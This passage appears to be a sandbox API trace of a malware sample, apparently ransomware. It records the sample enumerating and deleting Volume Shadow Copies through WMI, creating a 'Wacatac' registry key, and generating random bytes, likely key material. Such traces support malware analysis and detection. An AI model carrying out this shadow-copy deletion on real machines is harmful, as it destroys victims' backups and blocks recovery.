pType=0x0, plFlavor=0x0) returned 0x0 [0055.174] lstrlenW (lpString="{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}") returned 38 [0055.174] GetProcessHeap () returned 0x540000 [0055.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0055.174] lstrlenW (lpString="{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}") returned 38 [0055.174] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}'") returned 60 [0055.174] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0055.903] GetProcessHeap () returned 0x540000 [0055.903] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0055.903] IUnknown:Release (This=0x389d0b8) returned 0x0 [0055.903] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0055.904] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0055.904] lstrlenW (lpString="{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}") returned 38 [0055.904] GetProcessHeap () returned 0x540000 [0055.904] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0055.904] lstrlenW (lpString="{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}") returned 38 [0055.904] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}'") returned 60 [0055.905] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0056.634] GetProcessHeap () returned 0x540000 [0056.634] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0056.634] IUnknown:Release (This=0x389d0b8) returned 0x0 [0056.634] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0056.636] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0056.636] lstrlenW (lpString="{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}") returned 38 [0056.636] GetProcessHeap () returned 0x540000 [0056.636] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0056.636] lstrlenW (lpString="{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}") returned 38 [0056.636] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}'") returned 60 [0056.636] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0057.356] GetProcessHeap () returned 0x540000 [0057.356] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0057.356] IUnknown:Release (This=0x389d0b8) returned 0x0 [0057.356] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0057.357] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{1EE90775-4E53-4C29-811E-F4996057D94E}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0057.357] lstrlenW (lpString="{1EE90775-4E53-4C29-811E-F4996057D94E}") returned 38 [0057.357] GetProcessHeap () returned 0x540000 [0057.357] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0057.357] lstrlenW (lpString="{1EE90775-4E53-4C29-811E-F4996057D94E}") returned 38 [0057.357] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{1EE90775-4E53-4C29-811E-F4996057D94E}'") returned 60 [0057.357] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{1EE90775-4E53-4C29-811E-F4996057D94E}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0058.065] GetProcessHeap () returned 0x540000 [0058.065] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0058.065] IUnknown:Release (This=0x389d0b8) returned 0x0 [0058.065] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0058.068] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{DC780020-7243-4B55-80A9-4BA6EE67823B}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0058.068] lstrlenW (lpString="{DC780020-7243-4B55-80A9-4BA6EE67823B}") returned 38 [0058.068] GetProcessHeap () returned 0x540000 [0058.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0058.068] lstrlenW (lpString="{DC780020-7243-4B55-80A9-4BA6EE67823B}") returned 38 [0058.068] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{DC780020-7243-4B55-80A9-4BA6EE67823B}'") returned 60 [0058.068] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{DC780020-7243-4B55-80A9-4BA6EE67823B}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0058.849] GetProcessHeap () returned 0x540000 [0058.849] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0058.849] IUnknown:Release (This=0x389d0b8) returned 0x0 [0058.849] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x1) returned 0x0 [0058.851] IWbemClassObject:Get (in: This=0x389d930, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{3DBBFF70-A67F-4333-8498-31E7BC089E0F}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0058.851] lstrlenW (lpString="{3DBBFF70-A67F-4333-8498-31E7BC089E0F}") returned 38 [0058.851] GetProcessHeap () returned 0x540000 [0058.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0058.851] lstrlenW (lpString="{3DBBFF70-A67F-4333-8498-31E7BC089E0F}") returned 38 [0058.851] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{3DBBFF70-A67F-4333-8498-31E7BC089E0F}'") returned 60 [0058.851] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{3DBBFF70-A67F-4333-8498-31E7BC089E0F}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0059.546] GetProcessHeap () returned 0x540000 [0059.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0059.546] IUnknown:Release (This=0x389d930) returned 0x0 [0059.546] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x1) returned 0x0 [0059.548] IWbemClassObject:Get (in: This=0x389d930, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{1924CB9A-2919-4442-A6C0-E60362A636CF}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0059.548] lstrlenW (lpString="{1924CB9A-2919-4442-A6C0-E60362A636CF}") returned 38 [0059.548] GetProcessHeap () returned 0x540000 [0059.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0059.548] lstrlenW (lpString="{1924CB9A-2919-4442-A6C0-E60362A636CF}") returned 38 [0059.548] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{1924CB9A-2919-4442-A6C0-E60362A636CF}'") returned 60 [0059.548] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{1924CB9A-2919-4442-A6C0-E60362A636CF}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0060.273] GetProcessHeap () returned 0x540000 [0060.273] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0060.274] IUnknown:Release (This=0x389d930) returned 0x0 [0060.274] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x1) returned 0x0 [0060.275] IWbemClassObject:Get (in: This=0x389d930, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{5555A914-627B-4AF5-A342-EC1A6421363A}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0060.275] lstrlenW (lpString="{5555A914-627B-4AF5-A342-EC1A6421363A}") returned 38 [0060.275] GetProcessHeap () returned 0x540000 [0060.275] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0060.275] lstrlenW (lpString="{5555A914-627B-4AF5-A342-EC1A6421363A}") returned 38 [0060.275] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{5555A914-627B-4AF5-A342-EC1A6421363A}'") returned 60 [0060.275] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{5555A914-627B-4AF5-A342-EC1A6421363A}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0060.957] GetProcessHeap () returned 0x540000 [0060.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0060.957] IUnknown:Release (This=0x389d930) returned 0x0 [0060.957] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x1) returned 0x0 [0060.958] IWbemClassObject:Get (in: This=0x389d930, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{C7241040-5C13-409D-A239-55D005C03DE9}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0060.958] lstrlenW (lpString="{C7241040-5C13-409D-A239-55D005C03DE9}") returned 38 [0060.958] GetProcessHeap () returned 0x540000 [0060.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0060.958] lstrlenW (lpString="{C7241040-5C13-409D-A239-55D005C03DE9}") returned 38 [0060.958] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{C7241040-5C13-409D-A239-55D005C03DE9}'") returned 60 [0060.958] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{C7241040-5C13-409D-A239-55D005C03DE9}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0061.606] GetProcessHeap () returned 0x540000 [0061.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0061.606] IUnknown:Release (This=0x389d930) returned 0x0 [0061.606] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x1) returned 0x0 [0061.608] IWbemClassObject:Get (in: This=0x389d930, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0061.608] lstrlenW (lpString="{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}") returned 38 [0061.608] GetProcessHeap () returned 0x540000 [0061.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0061.608] lstrlenW (lpString="{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}") returned 38 [0061.608] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}'") returned 60 [0061.608] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{E3DFFA61-E1CC-49E0-BCD2-5A0175DAACD9}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0062.494] GetProcessHeap () returned 0x540000 [0062.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0062.494] IUnknown:Release (This=0x389d930) returned 0x0 [0062.494] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x1) returned 0x0 [0062.495] IWbemClassObject:Get (in: This=0x389d930, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0062.495] lstrlenW (lpString="{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}") returned 38 [0062.495] GetProcessHeap () returned 0x540000 [0062.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0062.495] lstrlenW (lpString="{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}") returned 38 [0062.495] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}'") returned 60 [0062.495] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{A15F4F35-0EBE-4C4B-97F3-D2181096B62F}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0063.138] GetProcessHeap () returned 0x540000 [0063.138] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0063.138] IUnknown:Release (This=0x389d930) returned 0x0 [0063.138] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x1) returned 0x0 [0063.139] IWbemClassObject:Get (in: This=0x389d930, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{E369493E-E5B4-449B-8539-770BCA375ABB}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0063.139] lstrlenW (lpString="{E369493E-E5B4-449B-8539-770BCA375ABB}") returned 38 [0063.139] GetProcessHeap () returned 0x540000 [0063.139] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0063.139] lstrlenW (lpString="{E369493E-E5B4-449B-8539-770BCA375ABB}") returned 38 [0063.139] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{E369493E-E5B4-449B-8539-770BCA375ABB}'") returned 60 [0063.139] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{E369493E-E5B4-449B-8539-770BCA375ABB}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0063.206] GetProcessHeap () returned 0x540000 [0063.206] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0063.206] IUnknown:Release (This=0x389d930) returned 0x0 [0063.206] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d930, puReturned=0x17f7f4*=0x0) returned 0x1 [0063.210] WbemLocator:IUnknown:Release (This=0x389cfdc) returned 0x0 [0063.215] WbemLocator:IUnknown:Release (This=0x389c730) returned 0x0 [0063.215] WbemContext:IUnknown:Release (This=0x389c660) returned 0x0 [0063.216] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Wacatac", ulOptions=0x0, samDesired=0xf003f, phkResult=0x40f1a8 | out: phkResult=0x40f1a8*=0x0) returned 0x2 [0063.216] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Wacatac", phkResult=0x40f1a8 | out: phkResult=0x40f1a8*=0x610) returned 0x0 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264668 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264658 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264628 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264678 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264608 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264618 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264638 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264688 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264698 [0063.217] GetProcessHeap () returned 0x540000 [0063.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x32646a8 [0063.217] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0063.218] GetProcAddress (hModule=0x74d40000, lpProcName="SystemFunction036") returned 0x74d41919 [0063.218] SystemFunction036 (in: RandomBuffer=0x17f730, RandomBufferLength=0x80 | out: RandomBuffer=0x17f730) returned 1 [0063.219] GetProcessHeap () returned 0x540000 [0063.219] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x3264608, Size=0x80) returned 0x5a1118 [0063.219] GetProcessHeap () returned 0x540000 [0063.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x3264608 [0063.219] GetProcessHeap () returned 0x540000 [0063.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x32646b8 [0063.219] GetProcessHeap () returned 0x540000 [0063.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x102) returned 0x329bc20 [0063.219] GetProcessHeap () returned 0x540000 [0063.219] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1068) returned 0x573e58 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.220] GetProcessHeap () returned 0x540000 [0063.220] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, 